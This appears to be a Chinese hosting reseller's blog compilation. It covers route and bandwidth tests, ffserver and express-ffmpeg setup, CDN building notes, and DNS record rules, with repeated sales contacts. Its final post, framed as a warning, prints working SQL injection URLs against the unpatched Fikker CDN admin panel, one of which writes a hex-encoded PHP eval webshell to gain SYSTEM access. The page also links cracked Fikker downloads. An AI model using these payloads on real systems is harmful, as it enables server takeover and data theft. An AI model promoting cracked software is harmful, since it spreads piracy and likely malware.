香港NWT新世界机房服务器国际网络路由测试

香港NWT新世界机房服务器国际网络路由测试

近期收到很多客户咨询香港机房的国际网络情况。今天就给大家测一下香港NWT机房的国际路由结果。

可以说NWT机房的服务器,在国际互联方面是绝无仅有的一个!

测试IP:103.194.106.1

机房介绍:香港新世界NWT机房

购买咨询QQ:28575315

新加坡到香港

新加坡到香港是直连的,延时只有37ms左右,比国内到香港延时还要低。上图是路由在地图中的呈现情况,下图是详细路由信息。

日本到香港

日本到香港也是直连的,延时是52ms左右

菲律宾到香港

菲律宾到香港直连,延时20ms左右

柬埔寨到香港

柬埔寨到香港直连,延时43ms

越南到香港

越南到香港直连,延时40ms

泰国到香港

泰国到香港直连,延时66ms

韩国到香港

韩国到香港直连,延时48ms

澳大利亚到香港

澳大利亚到香港直连,延时128ms

美国到香港

美国到香港直连,延时158ms

什么是BGP线路服务器?如何分辨服务器是不是BGP线路?

什么是BGP线路服务器?如何分辨服务器是不是BGP线路?

BGP线路通俗来讲就是服务器1个IP,然后这个IP同时接入了多个运营商的线路。

相比传统的单线服务器,BGP服务器可以做到根据用户得不同网络使用不同的线路来访问服务器。

各地BGP线路、移动单线、电信单线。QQ:28575315

 

比如:

服务器接入线路为BGP线路

用户A,使用的是移动宽带。然后他访问这个服务器上的网站就是通过移动的骨干网络来访问。

用户B,使用的是电信带宽。然后他访问服务器上的网站就是通过电信的骨干网。

联通也是同样的道理。

传统服务器接入电信单线,那么不管用户本地使用的什么带宽,他访问这个服务器的资源都要走到电信的骨干网上来访问。

 

BGP服务器的优势

BGP服务器可以降低网络互联互通问题,提高跨网之间的网络质量。

以前我们玩游戏很多都是分电信大区,联通大区等等。现在新出的游戏都很少区分了,机房接入线路都比较多。网络延时都非常低。

 

如何分辨服务器接入线路是不是BGP线路?

分辨是否为BGP线路我们需要使用“路由跟踪”来确定,原理就是开始提到的,BGP的特点,用户使用不同的网络访问都会通过相对应运营商的骨干网。

示例1:我们镇江的BGP服务器。下面分别使用不同的带宽来做一下路由跟踪。

测试IP:103.107.188.253

移动路由跟踪结果:

电信路由跟踪结果:

联通路由跟踪结果:

通过以上的路由跟踪我们即可看出服务器的的接入线路情况。

示例2:下面看一下我们镇江电信服务器的路由跟踪,这里就只发一个联通的结果了,其他线路的可以自己测试我们IP。

测试IP:222.186.190.248

镇江电信路由跟踪:

还是挺容易分辨的,大家应该都能看懂。

 

需要服务器的话联系我,提供各地BGP线路、移动单线、电信单线。QQ:28575315

 

 

 

 

浅谈服务器带宽价格,为什么不同商家带宽价格差异如此之大?

浅谈服务器带宽价格,为什么不同商家带宽价格差异如此之大?

很多客户都闻到过这个问题,你们1G带宽要卖1万,别人家才六千多。包括一些入行不久的同行也问过此问题。

下面就说下带宽跟带宽的区别,为什么有的卖1万,有的卖六千多。

1.带宽分为独享和共享

什么是独享?独享就是假如你买了1G带宽,不管你用不用,都不会有别人来占用你的带宽。你想跑满1G随时可以跑满,想跑满多久就跑满多久。

什么是共享?共享带宽意思是多人多个用户同时使用这个1G带宽,你用、我用、他也用,谁能用的多看谁抢的多。你想持续跑满1G带宽?抱歉,规定不允许长时间跑满的,满了的话就给你限速。另外,你以为1G共享你偶尔跑一下1G这样用也可以?to young too simple~

有波峰控制的,真让你跑到了1G突发,别人还怎么活?别人业务岂不是要死掉了?一般会给你限制波峰几百兆,长时间几百兆跑满就给你QOS限制了。

2.带宽分为独享月包带宽和95计费带宽

什么是月包带宽?

月包就是你买一个月就是一个月,不管你这1G实际跑了多少,都是1个月的钱。

什么是95计费带宽?

95计费带宽就是,比如你买1G带宽,平时一直跑四五百兆,但是偶尔会超过这个值,时间也不太长。=最后计费时候就会去掉5%的波峰带宽。详细的百度下就能看明白,这里不说了。

3.带宽分为无QOS限制和有QOS限制

这个才是最重要的!QOS广泛存在与各个运营商,比如电信、联通、移动的家庭带宽。

QOS在这里面起到了什么作用?

QOS的初衷是为了解决网络拥堵及保证重要业务通讯的。

机房的QOS是干啥的?

不废话,就是限制你带宽的!机房的带宽电信联通移动是没QOS限制的,但是机房自己会做QOS。

还是1G带宽,你测速可以跑上去,随时测随时可以跑上去。但是一部署业务怎么就跑不到了呢?奇怪是不是我没配置好?真让人头大~~问问大佬咋回事吧

大佬:少年,你还年轻。你这个问题根本原因是钱的问题。

机房的QOS它限制了连接数等参数。你测速是测不出来滴,你买到机器测他个几小时也是能跑满低,但是你一上业务,并发高,连接数多,你放心,带宽绝对上不去。加钱吧少年。

 

以上三点就是带宽价格有差距的原因。比如美国服务器最常见的,1G共享带宽、1G独享带宽月流量15T、1G独享带宽不限流量。

价格从十几块到千把块、再到几千块。美国的1G不限流量单单是带宽价格也要5000左右!别做梦说谁谁谁买的一千多了。

我公司提供各地区独享带宽,随时跑满,无QOS,不限流量。需要的同志可以联系QQ:28575315

国内独立服务器1000M独享/千兆G口独享带宽服务器-南阳移动服务器测速

国内独立服务器1000M独享/千兆G口独享带宽服务器-南阳移动服务器测速

很多客户购买服务器首先考虑的就是服务器带宽问题,担心带宽跑不够等。下面就给大家发一些我公司南阳移动服务器的带宽测速截图以及防火墙统计带宽。

首先是使用测速工具测试服务器带宽,我们打开网址www.speedtest.net

然后直接点击测速等待测试完毕即可显示出结果。

下方即时我在服务器内测试的截图:

千兆独享带宽服务器的测速截图
千兆G口独享带宽服务器的测速截图

然后我们可以查看一些使用千兆G口独享带宽服务器用户的带宽统计,此统计来自金盾硬件防火墙

1000M千兆G口独享服务器带宽统计
1000M千兆G口独享服务器带宽统计

从防火墙统计可以看到,这个用户使用带宽基本全是满载状态。

需要服务器的客户可以加我的QQ28575315

 

 

FFmpeg的服务端ffserver实现实时的视频流媒体服务

FFmpeg 的服务端ffserver 实现实时的流媒体服务

1. ffmpeg
2. ffserver
3. ffserver.conf
4. feed1.ffm

1. ffmpeg,负责媒体文件的transcode工作,把你服务器上的源媒体文件转换成要发送出去的流媒体文件。
2. ffserver,负责响应客户端的流媒体请求,把流媒体数据发送给客户端。
3. ffserver.conf,ffserver启动时的配置文件,在这个文件中主要是对网络协议,缓存文件feed1.ffm(见下述)和要发送的流媒体文件的格式参数做具体的设定。
4. feed1.ffm,可以看成是一个流媒体数据的缓存文件,ffmpeg把转码好的数据发送给ffserver,如果没有客户端连接请求,ffserver把数据缓存到该文件中。

服务器租用联系QQ:28575315

官方例子:配置ffserver.conf文件

# Port on which the server is listening. You must select a different
# port from your standard HTTP web server if it is running on the same
# computer.
Port 8090
# Address on which the server is bound. Only useful if you have
# several network interfaces.
BindAddress 0.0.0.0
# Number of simultaneous HTTP connections that can be handled. It has
# to be defined *before* the MaxClients parameter, since it defines the
# MaxClients maximum limit.
MaxHTTPConnections 2000
# Number of simultaneous requests that can be handled. Since FFServer
# is very fast, it is more likely that you will want to leave this high
# and use MaxBandwidth, below.
MaxClients 1000
# This the maximum amount of kbit/sec that you are prepared to
# consume when streaming to clients.
MaxBandwidth 1000
# Access log file (uses standard Apache log file format)
# '-' is the standard output.
CustomLog -
# Suppress that if you want to launch ffserver as a daemon.
NoDaemon
##################################################################
# Definition of the live feeds. Each live feed contains one video
# and/or audio sequence coming from an ffmpeg encoder or another
# ffserver. This sequence may be encoded simultaneously with several
# codecs at several resolutions.
<Feed feed1.ffm>
# You must use 'ffmpeg' to send a live feed to ffserver. In this
# example, you can type:
#
# ffmpeg http://localhost:8090/feed1.ffm
# ffserver can also do time shifting. It means that it can stream any
# previously recorded live stream. The request should contain:
# "http://xxxx?date=[YYYY-MM-DDT][[HH:]MM:]SS[.m...]".You must specify
# a path where the feed is stored on disk. You also specify the
# maximum size of the feed, where zero means unlimited. Default:
# File=/tmp/feed_name.ffm FileMaxSize=5M
File /tmp/feed1.ffm
FileMaxSize 200K
# You could specify
# ReadOnlyFile /saved/specialvideo.ffm
# This marks the file as readonly and it will not be deleted or updated.
# Specify launch in order to start ffmpeg automatically.
# First ffmpeg must be defined with an appropriate path if needed,
# after that options can follow, but avoid adding the http:// field
#Launch ffmpeg
# Only allow connections from localhost to the feed.
ACL allow 127.0.0.1
</Feed>
##################################################################
# Now you can define each stream which will be generated from the
# original audio and video stream. Each format has a filename (here
# 'test1.mpg'). FFServer will send this stream when answering a
# request containing this filename.
<Stream test1.mpg>
# coming from live feed 'feed1'
Feed feed1.ffm
# Format of the stream : you can choose among:
# mpeg : MPEG-1 multiplexed video and audio
# mpegvideo : only MPEG-1 video
# mp2 : MPEG-2 audio (use AudioCodec to select layer 2 and 3 codec)
# ogg : Ogg format (Vorbis audio codec)
# rm : RealNetworks-compatible stream. Multiplexed audio and video.
# ra : RealNetworks-compatible stream. Audio only.
# mpjpeg : Multipart JPEG (works with Netscape without any plugin)
# jpeg : Generate a single JPEG image.
# asf : ASF compatible streaming (Windows Media Player format).
# swf : Macromedia Flash compatible stream
# avi : AVI format (MPEG-4 video, MPEG audio sound)
Format mpeg
# Bitrate for the audio stream. Codecs usually support only a few
# different bitrates.
AudioBitRate 32
# Number of audio channels: 1 = mono, 2 = stereo
AudioChannels 1
# Sampling frequency for audio. When using low bitrates, you should
# lower this frequency to 22050 or 11025. The supported frequencies
# depend on the selected audio codec.
AudioSampleRate 44100
# Bitrate for the video stream
VideoBitRate 64
# Ratecontrol buffer size
VideoBufferSize 40
# Number of frames per second
VideoFrameRate 3
# Size of the video frame: WxH (default: 160x128)
# The following abbreviations are defined: sqcif, qcif, cif, 4cif, qqvga,
# qvga, vga, svga, xga, uxga, qxga, sxga, qsxga, hsxga, wvga, wxga, wsxga,
# wuxga, woxga, wqsxga, wquxga, whsxga, whuxga, cga, ega, hd480, hd720,
# hd1080
VideoSize 160x128
# Transmit only intra frames (useful for low bitrates, but kills frame rate).
#VideoIntraOnly
# If non-intra only, an intra frame is transmitted every VideoGopSize
# frames. Video synchronization can only begin at an intra frame.
VideoGopSize 12
# More MPEG-4 parameters
# VideoHighQuality
# Video4MotionVector
# Choose your codecs:
#AudioCodec mp2
#VideoCodec mpeg1video
# Suppress audio
#NoAudio
# Suppress video
#NoVideo
#VideoQMin 3
#VideoQMax 31
# Set this to the number of seconds backwards in time to start. Note that
# most players will buffer 5-10 seconds of video, and also you need to allow
# for a keyframe to appear in the data stream.
#Preroll 15
# ACL:
# You can allow ranges of addresses (or single addresses)
#ACL ALLOW <first address>
# You can deny ranges of addresses (or single addresses)
#ACL DENY <first address>
# You can repeat the ACL allow/deny as often as you like. It is on a per
# stream basis. The first match defines the action. If there are no matches,
# then the default is the inverse of the last ACL statement.
#
# Thus 'ACL allow localhost' only allows access from localhost.
# 'ACL deny 1.0.0.0 1.255.255.255' would deny the whole of network 1 and
# allow everybody else.
</Stream>
##################################################################
# Example streams
# Multipart JPEG
#<Stream test.mjpg>
#Feed feed1.ffm
#Format mpjpeg
#VideoFrameRate 2
#VideoIntraOnly
#NoAudio
#Strict -1
#</Stream>
# Single JPEG
#<Stream test.jpg>
#Feed feed1.ffm
#Format jpeg
#VideoFrameRate 2
#VideoIntraOnly
##VideoSize 352x240
#NoAudio
#Strict -1
#</Stream>
# Flash
#<Stream test.swf>
#Feed feed1.ffm
#Format swf
#VideoFrameRate 2
#VideoIntraOnly
#NoAudio
#</Stream>
# ASF compatible
<Stream test.asf>
Feed feed1.ffm
Format asf
VideoFrameRate 15
VideoSize 352x240
VideoBitRate 256
VideoBufferSize 40
VideoGopSize 30
AudioBitRate 64
StartSendOnKey
</Stream>
# MP3 audio
#<Stream test.mp3>
#Feed feed1.ffm
#Format mp2
#AudioCodec mp3
#AudioBitRate 64
#AudioChannels 1
#AudioSampleRate 44100
#NoVideo
#</Stream>
# Ogg Vorbis audio
#<Stream test.ogg>
#Feed feed1.ffm
#Title "Stream title"
#AudioBitRate 64
#AudioChannels 2
#AudioSampleRate 44100
#NoVideo
#</Stream>
# Real with audio only at 32 kbits
#<Stream test.ra>
#Feed feed1.ffm
#Format rm
#AudioBitRate 32
#NoVideo
#NoAudio
#</Stream>
# Real with audio and video at 64 kbits
#<Stream test.rm>
#Feed feed1.ffm
#Format rm
#AudioBitRate 32
#VideoBitRate 128
#VideoFrameRate 25
#VideoGopSize 25
#NoAudio
#</Stream>
##################################################################
# A stream coming from a file: you only need to set the input
# filename and optionally a new format. Supported conversions:
# AVI -> ASF
#<Stream file.rm>
#File "/usr/local/httpd/htdocs/tlive.rm"
#NoAudio
#</Stream>
#<Stream file.asf>
#File "/usr/local/httpd/htdocs/test.asf"
#NoAudio
#Author "Me"
#Copyright "Super MegaCorp"
#Title "Test stream from disk"
#Comment "Test comment"
#</Stream>
##################################################################
# RTSP examples
#
# You can access this stream with the RTSP URL:
# rtsp://localhost:5454/test1-rtsp.mpg
#
# A non-standard RTSP redirector is also created. Its URL is:
# http://localhost:8090/test1-rtsp.rtsp
#<Stream test1-rtsp.mpg>
#Format rtp
#File "/usr/local/httpd/htdocs/test1.mpg"
#</Stream>
# Transcode an incoming live feed to another live feed,
# using libx264 and video presets
#<Stream live.h264>
#Format rtp
#Feed feed1.ffm
#VideoCodec libx264
#VideoFrameRate 24
#VideoBitRate 100
#VideoSize 480x272
#AVPresetVideo default
#AVPresetVideo baseline
#AVOptionVideo flags +global_header
#
#AudioCodec libfaac
#AudioBitRate 32
#AudioChannels 2
#AudioSampleRate 22050
#AVOptionAudio flags +global_header
#</Stream>
##################################################################
# SDP/multicast examples
#
# If you want to send your stream in multicast, you must set the
# multicast address with MulticastAddress. The port and the TTL can
# also be set.
#
# An SDP file is automatically generated by ffserver by adding the
# 'sdp' extension to the stream name (here
# http://localhost:8090/test1-sdp.sdp). You should usually give this
# file to your player to play the stream.
#
# The 'NoLoop' option can be used to avoid looping when the stream is
# terminated.
#<Stream test1-sdp.mpg>
#Format rtp
#File "/usr/local/httpd/htdocs/test1.mpg"
#MulticastAddress 224.124.0.1
#MulticastPort 5000
#MulticastTTL 16
#NoLoop
#</Stream>
##################################################################
# Special streams
# Server status
<Stream stat.html>
Format status
# Only allow local people to get the status
ACL allow localhost
ACL allow 192.168.0.0 192.168.255.255
#FaviconURL http://pond1.gladstonefamily.net:8080/favicon.ico
</Stream>
# Redirect index.html to the appropriate site
<Redirect index.html>
URL http://www.ffmpeg.org/
</Redirect>

(1)实时流用http传输

如果传输硬盘上的文件,则:
ffserver -f myfile/ffmpeg0.8.9/ffserver.conf & ffmpeg -i inputfile(输入文件) http://localhost:10535/feed1.ffm
如何传输摄像头捕获的实时流,则:
ffserver -f myfile/ffmpeg0.8.9/ffserver.conf & ffmpeg -f video4linux2 -framerate 30 -i /dev/video0 http://127.0.0.1:8090/feed1.ffm

启动ffserver和ffmpeg。ffserver先于ffmpeg启动,它在启动的时候需要加参数-f指定其配置文件。ffserver启动后,feed1.ffm就会被创建,这时如果你打开feed1.ffm看看,会发现feed1.ffm开始的部分已经写入了内 容,你可以找到关键字ffm以及向客户端传送流的配置信息,在feed1.ffm做缓冲用的时候,这些信息是不会被覆盖掉的,就把它们理解为 feed1.ffm文件的头吧。

ffserver启动后,ffmpeg启动,它启动时加的一个关键参数就是“http://ip:10535/feed1.ffm”,其中ip是运行 ffserver主机的ip,如果ffmpeg和ffserver都在同一系统中运行的话,用localhost也行。ffmpeg启动后会与 ffserver建立一个连接(短暂的连接),通过这第一次的连接,ffmpeg从ffserver那里获取了向客户端输出流的配置,并把这些配置作为自 己编码输出的配置,然后ffmpeg断开了这次连接,再次与ffserver建立连接(长久的连接),利用这个连接ffmpeg会把编码后的数据发送给 ffserver。

如果你观察ffserver端的输出就会发现这段时间会出现两次HTTP的200,这就是两次连接的过程。

ffmpeg从摄像头获取数据后,按照输出流的编码方式编码,然后发送给ffserver,ffserver收到ffmpeg的数据后,如果网络上 没有播放的请求,就把数据写入feed1.ffm中缓存,写入时把数据加上些头信息然后分块,每块4096B(每块也有结构),当feed1.ffm的大 小到了ffserver.conf中规定的大小后,就会从文件开始(跳过头)写入,覆盖旧的数据。直到网络上有播放的请求,ffserver从 feed1.ffm中读取数据,发送给客户端。

使用ffmpeg对本地文件流化

./ffmpeg -i ./1.mov -vcodec libx264 -qmin 3 -qmax 31 -qdiff 4 -me_range 16 -keyint_min 25 -qcomp 0.6 -b 9000K http://localhost:8090/feed1.ffm

捕捉本地摄像头数据

./ffmpeg -f video4linux2 -i /dev/video0 http://localhost:8090/feed1.ffm

(2)本地文件用http传输

ffserver -f /etc/ffserver.conf

用命令启动ffserver,然后用ffplay http://ip:port/test.flv,或者在vlc中输入以上网址也可实现播放。

(3)本地文件用rtsp传输

ffserver -f /etc/ffserver.conf

用命令启动ffserver,然后用ffplay rtsp://ip:port/rtsp.mpg,或者在vlc中输入以上网址也可实现播放。

备注:在做测试的时候,用rtsp不能传输flv文件。

免费视频云转码系统express-ffmpeg+CMS视频网站系统安装教程

免费视频云转码系统express-ffmpeg+CMS视频网站系统安装教程

项目介绍

实现大文件分块上传,批量上传。
实现服务器端自动动态码率转码并且切片,完成后会自动删除原视频文件。
实现批量添加水印和字幕,和同时处理。
实现截图,默认自动生成四张截图。
一键获取分享链接,设置防盗链,token防盗链或者仅允许指定域名iframe调用。
ts切片文件域名分发,负载均衡,支持无限多服务器同步分发。
开源源码:https://gitee.com/quazero/express-ffmpeg

官方网站:http://ffmpeg.moejj.com/

服务器租用联系QQ:28575315

截图

云转码express-ffmpeg+CMS一体化系统安装教程
云转码express-ffmpeg+CMS一体化系统安装教程
云转码express-ffmpeg+CMS一体化系统安装教程
云转码express-ffmpeg+CMS一体化系统安装教程
云转码express-ffmpeg+CMS一体化系统安装教程
云转码express-ffmpeg+CMS一体化系统安装教程

为什么要使用云转码
传统视频如果没有正确的压缩,一般来说尺寸非常大,动则3Gb、4Gb的大小,再者因为视频需要在网站中进行播放,传统中如果放置常规的flv或者mp4格式,那么浏览器会一直进行缓存,并且在缓存在一定播放长度之后才会进行播放,这样会消耗更多的带宽和让用户等待更长的时间,所以转码之后再进行切片是非常必须的,一来无损的压缩视频文件使其占用磁盘尺寸更小,并且基于hls格式,也是M3u8格式中储存了所有ts切片列表,这种模式加载,只需要加载第一个ts切片视频就可以开始播放,这样就使用户等待的时间更少,减少服务器带宽使用,并且画质的损失很小。这也就是为什么现在大部分视频网站都是使用hls格式来播放的。

具体功能
后台云转码加切片,运用最精简的代码,做成最快的转码+切片功能。
秒切功能,切片速度领先所有市面收费云转码系统。
视频分类、视频筛选、视频搜索,后台一应俱全。
防盗链、token防盗链,多重防盗链,避免流量损失,可以设置指定域名只能iframe调用。
字幕烧录,水印烧录,超级简单的操作,即可将字幕烧录进视频或者添加水印到视频中。
支持vtt字幕,后台可以根据不同的视频上传不同的vtt字幕,前台播放自动加载字幕。
视频截图,后台配置截图数,云转码切片的时候自动截图。
ts分发,多服务器同步内容,ts文件自动循环加域名前缀,负载均衡。
cms系统配置,站点名称设置、seo标题设置、seokeywords设置,seodescription设置,前台显示截图设置,前台自动生成cms系统,自适应布局,针对移动端优化,seo效果极佳。

安装

安装教程官网其实有,不过仅有Ubuntu的手动教程,其它系统都没有,博主发现该程序所需的大部分环境宝塔面板均可以直接安装,鉴于为小白着想,这里就用宝塔面板安装该程序,支持的系统也多。

所需环境:nodejs、expressjs、mongoDb、ffmpeg等

1、安装宝塔

宝塔安装这里不用多说了吧?宝塔也装不上后面的更难。

安装完成后,进入面板,点击左侧软件管理,然后安装Nginx、PM2管理器、MongoDb。注意Debian安装MongoDb之前还需要使用命令apt install sudo,不然可能存在MongoDb启动不了的情况。

2、安装ffmpeg

安装文档:https://www.johnvansickle.com/ffmpeg/faq

系统要求:CentOS、Debian、Ubuntu等内核至少为2.6.32的Linux系统(内核查看命令uname -r)。

首先我们找到适合自己VPS服务器架构的ffmpeg二进制文件,文件地址:点击查看,建议优先使用git版本,毕竟更新快,如果git没有对应的版本就使用release版本。

安装命令:

#x86下载二进制文件
wget https://johnvansickle.com/ffmpeg/builds/ffmpeg-git-64bit-static.tar.xz
#x86_64下载二进制文件
wget https://johnvansickle.com/ffmpeg/builds/ffmpeg-git-64bit-static.tar.xz
#解压文件
tar xvf ffmpeg-git-*-static.tar.xz && rm -rf ffmpeg-git-*-static.tar.xz
#将ffmpeg和ffprobe可执行文件移至/usr/bin方便系统直接调用
mv ffmpeg-git-*/ffmpeg ffmpeg-git-*/ffprobe /usr/bin/
#查看版本
ffmpeg
ffprobe

最后基本上算安装完成了。

一般我们除了视频程序需要用到ffmpeg外,还可以直接拿来使用,比如转换视频格式、提取音频、合并视频等等,具体命令可以自行百度/谷歌。

3、安装expressjs

npm install express -gd

4、创建数据库

#这里数据库名,用户和密码都是ffmpeg
mongo
use ffmpeg
db.createUser({user:"ffmpeg",pwd:"ffmpeg",roles:[{role:"readWrite",db:"ffmpeg"}]})
db.auth("ffmpeg","ffmpeg")

如果显示1则增加用户正确,再使用Ctrl+D退出。。

5、配置云转码

git clone https://gitee.com/quazero/express-ffmpeg
cd express-ffmpeg
#创建config文件夹
mkdir config
cd config

创建并编辑auth.js配置文件:

nano auth.js

将以下代码复制进去:

module.exports = {
user: "admin",
password: "admin",
db: "ffmpeg",
dbuser: "ffmpeg",
dbpassword: "ffmpeg",
secret: "yoursecret"
};

再使用Ctrl+X,Y确认退出编辑模式,参数从上往下依次是登陆云转码平台的账号,密码,数据库,数据库用户名,数据库密码。本教程安装的mongodb数据库为ffmpeg,用户名和密码都是ffmpeg,可以自行进行修改。

6、安装并运行云转码

cd /root/express-ffmpeg
npm install
#如果服务器重启,则必须在express-ffmpeg源码文件里重新运行命令启动
pm2 start bin/www -i 0

7、反向代理
点击左侧网站,添加站点,然后再点击添加好了的域名名称,这时候就进入了站点配置,点击反向代理,目标URL填入http://127.0.0.1:3000,再启用反向代理即可。

8、站点配置
最后打开xx.com/admin,输入设定的账号密码,本教程设置的是admin,admin,进入之后点击设置,在其中绑定域名,设置token的key,上传水印图片(推荐120*35),然后域名分发、CMS设置等功能都需要提交下,不然进入首页会出现502错误,而且视频也会播放不了。

 

express-ffmpeg项目介绍:

增加会员系统

增加会员系统,可以不开启CMS,独立开启会员系统,双向验证,安全可靠,后台可以配合卡劵生成,前台用户使用卡劵进行升级。

真正意义上的权限系统

路由层面的权限系统,非网上的播放器假权限,根据权限不同,相同的M3U8播放文件返回不同的内容,比如普通会员只能播放3分钟,就只会返回3分钟的切片内容,升级之后才会返回完整的切片内容。

卡劵系统

后台设定卡劵生成,可以设置开通会员时间,用户前台使用即可升级到对应的会员,到期之后权限失效,需要重新开通,如果连续使用则是累加会员时间。

项目介绍

主要实现功能: 一、视频批量上传,视频分块上传。 二、视频批量转码并且切片,切片完成删除原视频文件。 三、视频批量添加水印。 四、一键获取分享链接,防盗链设置,只允许指定域名ifream调用,token防盗链等。 五、自带完备的CMS系统。

文档更新地址:https://moejj.com/yun-zhuan-ma-qie-pian/
官网地址:http://ffmpeg.moejj.com 这里不会再更新文档和版本内容

本开源项目采用nodejs、expressjs、mongodb开发。 使用前请安装ffmpeg。

软件架构

nodejs v8.7.0版本 expressjs 4.16.0版本 mongoDb ffmpeg 3.4.1版本 Linux系统上运行完美。

云转码服务器、G口服务器、视频服务器、视频CDN节点服务器、转码切片服务器,租用联系QQ:28575315

本文转载自:https://www.moerats.com/archives/731/

自建视频流媒体CDN服务器各项技术比较优缺点及方案

自建视频流媒体CDN服务器各项技术比较优缺点及方案

CDN 简单理解上就是服务器做了一个反向代理+缓存系统+DNS自动分配的结合版

一些低价的虚拟主机就是使用CDN+垃圾服务器,访问网页速度倒是挺快,但是你要是跑一些程序(织梦cms、wordpress),就卡的你爆炸。根本运行不起。

CDN开始使用的方案是七牛CDN,价格很贵,每月欠费的单子看的你忧心忡忡。而且因为成本原因,当时使用的转码服务器是阿里云的云服务器,卡爆。转码速度超超超慢。为此还在视频优化上下了点功夫,开始是使用h264的转码方案。h264转码视频体积要大一些,但是兼容性好。后面就用了h265的转码方案,体积要比h264的小一些 节省流量。但是这玩意不兼容好些浏览器和手机,谷歌浏览器都不支持啊。。后来又切回了h264。

国内的CDN厂商,如果没有视频转码系统。使用七牛CDN就有两个费用、一个是视频处理费用、一个是视频存储费用。直接亏本。。。

40T的流量七牛云价格大概在9600元,还有其他的杂费。加起来分分钟过万!卒~

自建CDN

首选要自建DNS,因为DNS要做自动分配,你是按机器负载分配、还是线路分配、或者是地区ip分配都有说法。
DNSPOD 免费只能2个,交钱了也只能6-8个节点。
Dnsx 20个,这个一般来说就足够了。

其实有个结合视频的调度中心程序是最好的,直接减少DNS解析的过程,自动分配。用到的开源程序:zookeeper 进行调度分配
DNS也是基于bind开发的,无界面的,Redis,因为自己节点也没有多少。

最初用的nginx进行反向代理+缓存,效果很一般,但是命中率还可以。
第二次换了 Squid,Squid的命中率居然没有最新版的nginx好,于是就尝试用ATS。
综合比较结论就是 ATS 》 nginx 》 Squid 。ATS的官方文档全是英语,网上资料也很少,设置比较麻烦。

Nginx足够应对一般视频站了

关于服务器

一共买了40多台服务器,全都是做尝试用的。

到国内最稳定的就是SK鲨鱼、BT机房、和LA机房的了。raksmart和其他几个服务商的也买了几个。线路爆炸没法看。

但是鲨鱼在长时间流量高的情况下会限速。很坑但是线路很好,国内速度快。后面加了BT和LA的机器,LA速度真他么的快啊啊啊啊啊啊。但是没固态啊。只有机械盘!搞毛啊。后面全部用的BT机房的机器,速度也不错,走的CN2线路,主要是可以加固态。美国机房不是要默认配置的话加硬件服务器交付速度会慢,一般1到7个工作日。这几天等的也挺着急的。我几十台有十来台等了四五天。其他的交付速度还可以,第二天就给了。

说一个坑,大家一定注意。不要贪便宜、不要贪便宜、不要贪便宜

买了一个某F*C国外的 10G宽带 美国服务器才 1000多元,结果真t m的坑,国内跑的40m带宽都不到。
你要是目标客户在国外的可以买,到日本 韩国速度还可以。客户是国内的,一定不要买便宜的。

价格参考如下:100M带宽的机器,价格大概八九百。1000M带宽价格大概五千多。低于这个价位的基本都是跑不满的!

最终结果就是:zookeeper + ATS/NGINX + 自建DNS = 低成本。
机器做内网局域网,内网局域网都是G口免费的,在某些节点不足的时候可以互补。

避免 源服务器上进行转码和切片。
源服务器一般SAS硬盘足够、CPUE3Vx即可。转码的稍微好一点,跟源纯内网,外网宽带2m都可以。转码直接通过局域网分发到源上,源服务器的成本就下来了。

1G带宽五千多,不限制流量。千万别拿一些几百的 一千多两千多的美国G口来比,到国内根本跑不到100m。我是买了很多了,全烂手里了。

美国1G带宽的服务器,满载一个月大概使用流量300T左右。

zookeeper + ATS/NGINX + 自建DNS = 低成本

 

相关文章,需要的可以看一看:自建视频服务器播放方案:转码切片+缓存节点配置方案

服务器租用联系QQ:28575315

飞飞cms、海洋cms、苹果cms、maccms百度主动实时自动推送代码

飞飞cms、海洋cms、苹果cms、maccms百度主动实时自动推送代码

该代码适用于所有网站,不限于苹果cms、飞飞海洋等。其他帝国cms、wordpress等等都可以使用。

代码如下:

<script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>

将这个代码填入网站最底部即可。

苹果cms我们就填入模板目录的foot文件底部,foot文件就是负责网站全局底部信息的。

其他程序相同,我们只需要将此代码在网站全局底部引入即可。

 

另外根据百度官方给出的教程,我们也可以将以上代码存储为一个baidu_js_push.php的文件。

然后在每个PHP模板页文件中的 <body> 标记后面添加一行代码:
<?php include_once(“baidu_js_push.php”) ?>

 

自动推送会在网页被浏览时自动向百度推送一次该页面的URL。原理是这个代码在浏览器被浏览时会向百度服务器发送该页面的URL地址。百度会记录下来,后续会陆续抓取。

域名解析记录冲突的规则

域名解析记录冲突的规则

[supsystic-tables id=33]

在提示冲突的时候,说明已经有对应的记录,不允许重复添加或者说不能添加对应的记录。

说明:

在 RR 值相同的情况下,同一条线路下,在几种不同类型的解析中不能共存( X 为不允许)

1、X:在相同的 RR 值情况下,同一条线路下,不同类型的解析记录不允许共存。如:已经设置了 www.example.com 的 A 记录,则不允许再设置 www.example.com 的 CNAME 记录;

2、无限制: 在相同的 RR 值情况下,同一条线路下,不同类型的解析记录可以共存。如:已经设置了 www.example.com 的 A 记录,则还可以再设置 www.example.com 的 MX 记录;

3、可重复: 指在同一类型下,同一条线路下,可设置相同的多条 RR 值。如:已经设置了 www.example.com 的 A 记录,还可以再设置 www.example.com 的 A 记录。

重要提示!FIKKER主控0DAY漏洞!

重要提示!FIKKER主控0DAY漏洞!

请各位使用fikkerCDN软件的用户阅读以下内容。

Fikker 是一款面向 CDN/站长 的专业级网站缓存(Webcache)和反向代理服务器软件(Reversed Proxy Server)。近日在一起安全事件中發現fikker主控多個php文件存在高危注入漏洞,可獲取Webshell to System.

目前官方尚未修復該漏洞。

漏洞級別:嚴重

影響版本:所有

#爆目錄
admin_modify.php?id=-1%20union%20select%201,@@basedir,3,4,5,6,7,8,9,10,11,12,13
#寫一句話(目錄如果改了,可以通過下面的語句加些/這些讓PHP報錯)
admin_modify.php?id=1%20and%201=2%20union%20select%200x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e,9,10,11,12,13%20into%20outfile%20%27d:/FikkerCDN/webroot/fikcdn/admin/test.php%27

後記:

如果僅僅是注入,也是最多爆爆庫啥的,進進後台改改數據之類。但是由於開發人員缺乏安全意識,主控依賴的Apache,MySql等,都是以System權限在Windows 上運行,這意味著只要有注入就可以導出WebShell,只要有Webshell就有System.

 

原文来自金猪大佬:https://zhu.vn/archives/1981

本站相关内容

Fikker CDN -3.7.4到3.7.6-windows-x86-64_全功能破解版下载

Fikker CDN3.7.6-linux_全功能破解版下载